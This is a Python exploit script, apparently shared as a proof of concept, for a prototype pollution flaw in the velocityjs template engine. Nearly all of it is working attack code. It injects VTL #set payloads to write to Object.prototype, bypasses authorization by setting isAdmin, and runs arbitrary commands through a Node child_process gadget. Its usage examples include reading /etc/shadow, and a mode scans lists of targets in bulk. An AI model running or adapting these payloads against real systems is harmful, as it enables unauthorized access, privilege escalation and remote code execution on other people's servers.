📄 velocityjs 2.1.5 Prototype Pollution

#!/usr/bin/env python3
    """
    CVE-2026-44966 - velocityjs (Velocity.js) prototype pollution via unvalidated #set left-hand path
    Affected: npm package `velocityjs` >= 0.3.1, < 2.1.6  (fixed in 2.1.6)
    Type: Prototype Pollution (CWE-1321) -> security-control bypass -> RCE (Node <= 16 gadget)
    
    Any application that passes attacker-controlled text to velocityjs as the TEMPLATE
    argument (`velocity.render(userInput, ctx)`) lets the attacker write arbitrary
    properties into Object.prototype, poisoning the whole Node process for every later
    request. This exploit climbs the full ladder:
    
      rung 1+2  arbitrary Object.prototype write, proven in-band from the render response
      rung 3    authorization bypass (Object.prototype.isAdmin = true)
      rung 4+5  command execution through the child_process options-bag gadget
                (Object.prototype.shell = /proc/self/exe + env NODE_OPTIONS=--require
                /proc/self/environ). Requires the target process to reach a
                child_process call and to run Node <= 16; Node 18+ copies the options
                bag into a null-prototype object, which blocks rungs 4-5 only.
    
    Usage:
      python exploit.py --host <target> --port <port>
      python exploit.py --host 192.168.1.10 --port 3000
      python exploit.py --host https://tpl.corp.com --command "cat /etc/shadow"
      python exploit.py --host http://192.168.1.10:8080/api/preview --command "uname -a"
      python exploit.py --host 192.168.1.10 --port 3000 --no-rce
      python exploit.py --list targets.txt --workers 20
    
    Endpoint arguments (adjust to the target application):
      --path         the sink: an endpoint that renders the request body as a VTL template
      --admin-path   any endpoint whose authorization decision reads an inherited flag
      --report-path  any endpoint that reaches child_process (exec/execSync/spawn)
      --probe-path   optional endpoint that echoes a property read off a fresh object
    """
    
    import argparse
    import base64
    import http.client
    import random
    import socket
    import ssl
    import string
    import sys
    from urllib.parse import urlparse
    
    CVE_ID = "CVE-2026-44966"
    VULN_TYPE = "Prototype Pollution -> RCE"
    
    DEFAULT_PORT = 3000
    DEFAULT_PATH = "/render"
    DEFAULT_ADMIN_PATH = "/admin"
    DEFAULT_REPORT_PATH = "/report"
    DEFAULT_PROBE_PATH = "/probe"
    
    RCE_BEGIN = "ALIM_RCE_BEGIN"
    RCE_END = "ALIM_RCE_END"
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------
    # transport
    # --------------------------------------------------------------------------
    
    def _request(host, port, use_tls, method, path, body=None, timeout=15):
        """One HTTP request. Returns (status, body_text). Raises on transport errors."""
        if use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
        else:
            conn = http.client.HTTPConnection(host, port, timeout=timeout)
        try:
            headers = {
                "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
                              "(KHTML, like Gecko) Chrome/125.0 Safari/537.36",
                "Accept": "*/*",
                "Connection": "close",
            }
            data = None
            if body is not None:
                data = body.encode("utf-8")
                headers["Content-Type"] = "text/plain; charset=utf-8"
                headers["Content-Length"] = str(len(data))
            conn.request(method, path, body=data, headers=headers)
            resp = conn.getresponse()
            raw = resp.read()
            return resp.status, raw.decode("utf-8", "replace")
        finally:
            try:
                conn.close()
            except Exception:
                pass
    
    
    def _render(host, port, use_tls, path, template, timeout=15):
        """POST a VTL template to the sink. Returns (status, body_text)."""
        return _request(host, port, use_tls, "POST", path, body=template, timeout=timeout)
    
    
    # --------------------------------------------------------------------------
    # payload construction
    # --------------------------------------------------------------------------
    
    def _token(n=12):
        alphabet = string.ascii_uppercase + string.digits
        return "ALIM" + "".join(random.choice(alphabet) for _ in range(n))
    
    
    # Fingerprint: proves the body is evaluated as a Velocity template rather than
    # echoed. #set produces no output, so the arithmetic result is the tell.
    FINGERPRINT_TPL = "ALIMSINK#set($a = 41)#set($b = $a + 1)$b"
    FINGERPRINT_EXPECT = "ALIMSINK42"
    
    
    def _pollution_templates(key, value):
        """
        The three independent LHS vectors, each combined with an in-band read-back.
    
        The read-back is what makes this exploit self-contained: after the write, a
        NEW empty map is created and the polluted key is read off it. velocityjs
        resolves references with plain property access, so an inherited value renders
        in the response body. On a patched target (>= 2.1.6) the write is silently
        dropped and the unresolved reference `$alimq.<key>` is echoed literally.
        """
        tail = "#set($alimq = {})\nREADBACK[$alimq.%s]" % key
        return [
            ("direct __proto__ reference",
             "#set($__proto__.%s = '%s')\n%s" % (key, value, tail)),
            ("bracket/index __proto__ key on an auto-created root",
             "#set($alimp = {})\n#set($alimp[\"__proto__\"].%s = '%s')\n%s" % (key, value, tail)),
            ("constructor.prototype walk (no __proto__ token)",
             "#set($alimc = {})\n#set($alimc.constructor.prototype.%s = '%s')\n%s" % (key, value, tail)),
        ]
    
    
    def _rce_template(command):
        """
        Rungs 4+5: the Node child_process options-bag gadget, delivered through the
        prototype-pollution primitive.
    
          Object.prototype.shell = '/proc/self/exe'   -> the child becomes `node -c <cmd>`
          Object.prototype.env   = {AAAA, NODE_OPTIONS, PATH}
                                                      -> replaces the child environment,
                                                         and --require /proc/self/environ
                                                         makes Node preload that very
                                                         environment block as a CommonJS
                                                         module.
    
        /proc/self/environ is NUL-separated, so the module text is `AAAA=<payload>` followed
        by the remaining variables; the trailing `//` on the first variable comments the rest
        out. Two consequences drive the payload shape:
          * AAAA must be inserted FIRST (map key order is preserved),
          * the payload is the right-hand side of `AAAA=`, so it must be an EXPRESSION.
            A bare statement (`try{...}`) is a SyntaxError; hence the IIFE wrapper.
    
        The command is carried base64-encoded so that quotes, $, # and backslashes in
        --command can never break out of the VTL single-quoted string or the JS literal.
        """
        b64 = base64.b64encode(command.encode("utf-8")).decode("ascii")
        js = (
            '(function(){var r="";'
            'try{r=require("child_process").execSync('
            'Buffer.from("%s","base64").toString(),{encoding:"utf8"})}'
            'catch(e){r=String(e.stdout||"")+String(e.stderr||"")}'
            'console.log("%s");console.log(r);console.log("%s")})()//'
        ) % (b64, RCE_BEGIN, RCE_END)
        return "\n".join([
            "#set($alime = {})",
            "#set($alime.AAAA = '%s')" % js,
            "#set($alime.NODE_OPTIONS = '--require /proc/self/environ')",
            "#set($alime.PATH = '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin')",
            "#set($alimg = {})",
            '#set($alimg["__proto__"].env = $alime)',
            "#set($alimg[\"__proto__\"].shell = '/proc/self/exe')",
        ])
    
    
    def _extract_rce_output(body):
        """Pull the delimited command output out of a response body, or None."""
        if RCE_BEGIN not in body:
            return None
        tail = body.split(RCE_BEGIN, 1)[1]
        return tail.split(RCE_END, 1)[0].strip() if RCE_END in tail else tail.strip()
    
    
    # --------------------------------------------------------------------------
    # scan-mode probe (silent, never prints, never exits)
    # --------------------------------------------------------------------------
    
    def _try_exploit(host, port, use_tls, path=DEFAULT_PATH, timeout=10, **kwargs):
        """Silent probe for --list scan mode. Returns (success, evidence)."""
        try:
            status, body = _render(host, port, use_tls, path, FINGERPRINT_TPL, timeout)
            if FINGERPRINT_EXPECT not in body:
                return False, "no Velocity template sink at %s (HTTP %d)" % (path, status)
    
            key = "polluted"
            value = _token()
            for label, tpl in _pollution_templates(key, value):
                try:
                    _, out = _render(host, port, use_tls, path, tpl, timeout)
                except Exception:
                    continue
                if value in out:
                    return True, "Object.prototype.%s written via %s" % (key, label)
            return False, "sink present but pollution blocked (velocityjs >= 2.1.6)"
        except socket.timeout:
            return False, "unreachable (timeout)"
        except Exception as e:
            return False, "unreachable (%s)" % e.__class__.__name__
    
    
    def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple:
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file: str, default_port: int, workers: int = 10, default_path=DEFAULT_PATH,
             timeout=10) -> None:
        """Batch scan from file."""
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port, default_path) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}{path}"
            ok, evidence = _try_exploit(host, port, use_tls, path=path, timeout=timeout)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # --------------------------------------------------------------------------
    # single-target exploitation
    # --------------------------------------------------------------------------
    
    def exploit(host, port, use_tls, command, path, admin_path, report_path, probe_path,
                do_rce=True, timeout=15):
        header(host, port)
    
        # ---- step 1: is the request body actually rendered as a VTL template? ----
        step(1, "Fingerprinting the template sink at POST %s ..." % path)
        try:
            status, body = _render(host, port, use_tls, path, FINGERPRINT_TPL, timeout)
        except Exception as e:
            done(False, "target unreachable: %s: %s" % (e.__class__.__name__, e))
    
        section("SINK RESPONSE (HTTP %d)" % status, body[:500] or "(empty)")
        if FINGERPRINT_EXPECT not in body:
            done(False, "no Velocity template sink at %s - the body is not rendered as VTL "
                        "(try a different --path)" % path)
        print("    Velocity engine confirmed: '#set($a = 41)$a + 1' evaluated to 42\n")
    
        # ---- step 2: baseline the authorization endpoint before polluting ----
        admin_baseline = None
        step(2, "Baselining authorization endpoint GET %s ..." % admin_path)
        try:
            admin_baseline, admin_body = _request(host, port, use_tls, "GET", admin_path,
                                                  timeout=timeout)
            print("    baseline: HTTP %d  %s\n" % (admin_baseline, admin_body.strip()[:120]))
        except Exception as e:
            print("    baseline unavailable (%s) - auth-bypass stage will be skipped\n"
                  % e.__class__.__name__)
    
        # ---- step 3: rungs 1+2 - arbitrary Object.prototype write, proven in-band ----
        step(3, "Rung 1+2: writing into Object.prototype and reading it back in-band ...")
        # The key is a conventional prototype-pollution marker so any read-back endpoint the
        # application already exposes corroborates it; the random VALUE is what makes the
        # evidence unambiguous (it cannot be a pre-existing property).
        key = "polluted"
        value = _token()
        polluted_via = None
        for label, tpl in _pollution_templates(key, value):
            print("    vector: %s" % label)
            try:
                st, out = _render(host, port, use_tls, path, tpl, timeout)
            except Exception as e:
                print("      transport error: %s" % e.__class__.__name__)
                continue
            if value in out:
                polluted_via = label
                section("PROTOTYPE READ-BACK (HTTP %d)" % st, out)
                break
            print("      HTTP %d, read-back: %s" % (st, out.strip()[:120] or "(empty)"))
    
        if not polluted_via:
            done(False, "sink renders VTL but every #set prototype path was refused - "
                        "target is patched (velocityjs >= 2.1.6)")
    
        print("    Object.prototype.%s == '%s' - the write is process-global and permanent.\n"
              % (key, value))
    
        # optional corroboration from an application endpoint that reads a fresh object
        try:
            pst, pbody = _request(host, port, use_tls, "GET", probe_path, timeout=timeout)
            if pst == 200:
                section("APPLICATION PROBE %s" % probe_path, pbody)
        except Exception:
            pass
    
        evidence = "Object.prototype write confirmed via %s (Object.prototype.%s = '%s')" % (
            polluted_via, key, value)
    
        # ---- step 4: rung 3 - authorization bypass ----
        step(4, "Rung 3: polluting Object.prototype.isAdmin and re-testing %s ..." % admin_path)
        auth_bypassed = False
        try:
            _render(host, port, use_tls, path,
                    "#set($alimp2 = {})\n#set($alimp2[\"__proto__\"].isAdmin = true)", timeout)
            ast, abody = _request(host, port, use_tls, "GET", admin_path, timeout=timeout)
            section("AUTHORIZATION RESPONSE (HTTP %d)" % ast, abody or "(empty)")
            if admin_baseline is not None and admin_baseline in (401, 403) and ast == 200:
                auth_bypassed = True
                first = abody.strip().splitlines()[0][:160] if abody.strip() else ""
                print("    HTTP %d -> %d without any credentials.\n" % (admin_baseline, ast))
                evidence = "authorization bypass - %s returned HTTP %d (was %d): %s" % (
                    admin_path, ast, admin_baseline, first)
            else:
                print("    no status change (HTTP %s -> %s); this app's check does not read "
                      "an inherited flag.\n" % (admin_baseline, ast))
        except Exception as e:
            print("    auth-bypass stage skipped (%s)\n" % e.__class__.__name__)
    
        # ---- step 5: rungs 4+5 - command execution via the child_process gadget ----
        if not do_rce:
            section("RCE STAGE", "skipped (--no-rce)")
            done(True, evidence)
    
        step(5, "Rung 4+5: child_process options-bag gadget, command = %r ..." % command)
        try:
            rst, rbase = _request(host, port, use_tls, "GET", report_path, timeout=timeout)
            print("    %s baseline (HTTP %d): %s" % (report_path, rst, rbase.strip()[:120]))
        except Exception:
            print("    %s baseline unavailable" % report_path)
    
        try:
            gst, gbody = _render(host, port, use_tls, path, _rce_template(command), timeout)
            print("    gadget template accepted: HTTP %d (empty body is expected - #set "
                  "renders nothing)" % gst)
        except Exception as e:
            section("RCE STAGE", "gadget delivery failed: %s" % e.__class__.__name__)
            done(True, evidence)
    
        out = None
        try:
            cst, cbody = _request(host, port, use_tls, "GET", report_path, timeout=timeout + 15)
            out = _extract_rce_output(cbody)
            if out is None:
                section("GADGET TRIGGER RESPONSE (HTTP %d)" % cst, cbody[:800] or "(empty)")
        except Exception as e:
            print("    gadget trigger request failed: %s" % e.__class__.__name__)
    
        if out:
            section("COMMAND OUTPUT", out)
            first = out.splitlines()[0][:160] if out.splitlines() else out[:160]
            done(True, "RCE confirmed - command %r executed on the target: %s" % (command, first))
    
        print("    gadget did not engage. Object.prototype.shell/env are set, but the child\n"
              "    process never consumed them: Node >= 18 copies the options bag into a\n"
              "    null-prototype object, or the target never reaches a child_process call\n"
              "    (try a different --report-path).\n")
        done(True, evidence + " - RCE gadget did not engage (Node >= 18 hardened sink, or no "
                              "child_process call site behind --report-path)")
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/render)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                            help="Default port (default: %d)" % DEFAULT_PORT)
        parser.add_argument("--command", default="id",
                            help="Command to execute on the target (default: id)")
        parser.add_argument("--path", default=DEFAULT_PATH,
                            help="Template sink endpoint (default: %s)" % DEFAULT_PATH)
        parser.add_argument("--admin-path", default=DEFAULT_ADMIN_PATH,
                            help="Endpoint gated by an inherited authorization flag (default: %s)"
                                 % DEFAULT_ADMIN_PATH)
        parser.add_argument("--report-path", default=DEFAULT_REPORT_PATH,
                            help="Endpoint that reaches child_process, used to fire the RCE gadget "
                                 "(default: %s)" % DEFAULT_REPORT_PATH)
        parser.add_argument("--probe-path", default=DEFAULT_PROBE_PATH,
                            help="Optional endpoint echoing a fresh object's properties (default: %s)"
                                 % DEFAULT_PROBE_PATH)
        parser.add_argument("--no-rce", action="store_true",
                            help="Stop after the pollution and auth-bypass stages. The RCE gadget "
                                 "pollutes Object.prototype.env/.shell, which can destabilise the "
                                 "target process.")
        parser.add_argument("--timeout", type=int, default=15, help="Socket timeout (default: 15)")
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 default_path=args.path, timeout=args.timeout)
        else:
            parsed = _parse_target(args.host, args.port, args.path)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, args.command, path, args.admin_path,
                    args.report_path, args.probe_path, do_rce=not args.no_rce,
                    timeout=args.timeout)